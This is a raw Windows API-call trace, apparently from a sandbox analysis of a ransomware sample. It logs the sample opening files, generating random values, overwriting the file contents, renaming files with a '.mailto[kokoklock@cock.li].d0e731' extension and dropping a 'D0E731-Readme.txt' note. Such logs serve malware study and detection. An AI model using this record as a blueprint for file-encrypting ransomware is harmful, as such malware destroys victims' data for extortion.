RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34871c0) returned 1 [0084.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34326e0) returned 1 [0084.725] RtlExitUserThread (Status=0x0) Thread: id = 1240 os_tid = 0x13cc [0084.455] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml")) returned 0x20 [0084.456] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.456] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c0 [0084.456] GetFileSizeEx (in: hFile=0x9c0, lpFileSize=0x2b8bfa20 | out: lpFileSize=0x2b8bfa20*=460) returned 1 [0084.456] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.456] ReadFile (in: hFile=0x9c0, lpBuffer=0x2b8bf9f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b8bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x2b8bf9f4*, lpNumberOfBytesRead=0x2b8bf9f0*=0x4, lpOverlapped=0x0) returned 1 [0084.457] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e770 [0084.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0084.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0084.457] NtQuerySystemTime (in: CurrentTime=0x2b8bf9cc | out: CurrentTime=0x2b8bf9cc*=132121176423516265) returned 0x0 [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x1d543c01 [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x9c8747ae [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x33e30ffa [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x7f69a3db [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xcb1b4972 [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x5069dce7 [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xd20efdbf [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x23ab6cbf [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xe5b4c816 [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xba88898c [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x10a51322 [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x3cb9fae2 [0084.457] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xe68ce78c [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xdd407407 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xbb49b51a [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x4fa87f2d [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xc7bc7d92 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x5dc3b929 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x42c767e6 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x57c7eb1d [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xa130d176 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x7715c92f [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x36cb263 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xfdf04c77 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x500e2b3f [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xe31dd9 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x860720a4 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x1a459d46 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x439b75a1 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xaf8d3336 [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0xee8444ec [0084.458] RtlRandom (in: Seed=0x2b8bf9d8 | out: Seed=0x2b8bf9d8) returned 0x1a4065d5 [0084.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0084.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e770 [0084.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0084.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.469] ReadFile (in: hFile=0x9c0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x2b8bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b8bf9cc*=0x1cc, lpOverlapped=0x0) returned 1 [0084.470] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8bf994 | out: lpNewFilePointer=0x0) returned 1 [0084.470] WriteFile (in: hFile=0x9c0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1cc, lpNumberOfBytesWritten=0x2b8bf9c8, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b8bf9c8*=0x1cc, lpOverlapped=0x0) returned 1 [0084.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e770 [0084.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0084.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0084.470] WriteFile (in: hFile=0x9c0, lpBuffer=0x342e770*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b8bf9c4, lpOverlapped=0x0 | out: lpBuffer=0x342e770*, lpNumberOfBytesWritten=0x2b8bf9c4*=0x20, lpOverlapped=0x0) returned 1 [0084.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0084.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.470] WriteFile (in: hFile=0x9c0, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2b8bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x2b8bf9f0*=0x8, lpOverlapped=0x0) returned 1 [0084.470] WriteFile (in: hFile=0x9c0, lpBuffer=0x2b8bfa08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b8bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x2b8bfa08*, lpNumberOfBytesWritten=0x2b8bf9f0*=0x4, lpOverlapped=0x0) returned 1 [0084.470] WriteFile (in: hFile=0x9c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b8bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2b8bf9f0*=0x4, lpOverlapped=0x0) returned 1 [0084.470] WriteFile (in: hFile=0x9c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2b8bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2b8bf9f0*=0x6c, lpOverlapped=0x0) returned 1 [0084.470] WriteFile (in: hFile=0x9c0, lpBuffer=0x342e798*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b8bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x342e798*, lpNumberOfBytesWritten=0x2b8bf9f0*=0x20, lpOverlapped=0x0) returned 1 [0084.471] WriteFile (in: hFile=0x9c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b8bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2b8bf9f0*=0x4, lpOverlapped=0x0) returned 1 [0084.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0084.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0084.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0084.471] CloseHandle (hObject=0x9c0) returned 1 [0084.471] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3479e38 [0084.471] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" [0084.471] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.471] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.472] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.472] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.472] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\" [0084.472] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\D0E731-Readme.txt" [0084.472] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c0 [0084.473] WriteFile (in: hFile=0x9c0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2b8bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2b8bf9ec*=0x481, lpOverlapped=0x0) returned 1 [0084.473] CloseHandle (hObject=0x9c0) returned 1 [0084.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7138) returned 1 [0084.474] RtlExitUserThread (Status=0x1) Thread: id = 1241 os_tid = 0x13d8 [0084.475] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3487be8 [0084.475] wcscpy (in: _Dest=0x3487be8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" [0084.475] wcscat (in: _Dest=0x3487be8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\" [0084.475] wcscat (in: _Dest=0x3487be8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*" [0084.475] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ac7b8 [0084.475] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*", lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0084.475] wcscmp (_String1=".", _String2=".") returned 0 [0084.475] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.475] wcscmp (_String1="..", _String2=".") returned 1 [0084.475] wcscmp (_String1="..", _String2="..") returned 0 [0084.475] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0084.475] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0084.475] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0084.475] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482bf0 [0084.475] wcscpy (in: _Dest=0x3482bf0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" [0084.475] wcscat (in: _Dest=0x3482bf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\" [0084.476] wcscat (in: _Dest=0x3482bf0, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0084.721] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 0 [0084.722] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0084.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ac7b8) returned 1 [0084.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487be8) returned 1 [0084.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432618) returned 1 [0084.722] RtlExitUserThread (Status=0x0) Thread: id = 1242 os_tid = 0x13dc [0084.476] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml")) returned 0x20 [0084.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.476] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9bc [0084.477] GetFileSizeEx (in: hFile=0x9bc, lpFileSize=0x2b9bfb24 | out: lpFileSize=0x2b9bfb24*=251) returned 1 [0084.477] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0xf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.477] ReadFile (in: hFile=0x9bc, lpBuffer=0x2b9bfaf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b9bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x2b9bfaf8*, lpNumberOfBytesRead=0x2b9bfaf4*=0x4, lpOverlapped=0x0) returned 1 [0084.478] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c808 [0084.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca88 [0084.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc68 [0084.478] NtQuerySystemTime (in: CurrentTime=0x2b9bfad0 | out: CurrentTime=0x2b9bfad0*=132121176423672805) returned 0x0 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x37b10d25 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x32d50daa [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xd18331e1 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x9c4e8893 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x59d7466f [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x2cb20c78 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x8a6ee92 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x5481e8f1 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x40f5cc40 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x3af37be8 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x33a29a65 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xaf7b9d84 [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x2d97206d [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xb73680bd [0084.478] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xbe791973 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x41f7a94e [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x3bb407d [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xdaa9ac57 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xcab85561 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xc2cf0899 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xb25a6dcb [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xe57730bf [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x4ef6ebf0 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x7d8e45d4 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x6d411df1 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xb99fe43a [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x2b0342cf [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xdf2b3bd7 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x48ad8cd4 [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0xac7afe2a [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x1272771d [0084.479] RtlRandom (in: Seed=0x2b9bfadc | out: Seed=0x2b9bfadc) returned 0x4021e06 [0084.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34802a0) returned 1 [0084.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c808) returned 1 [0084.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 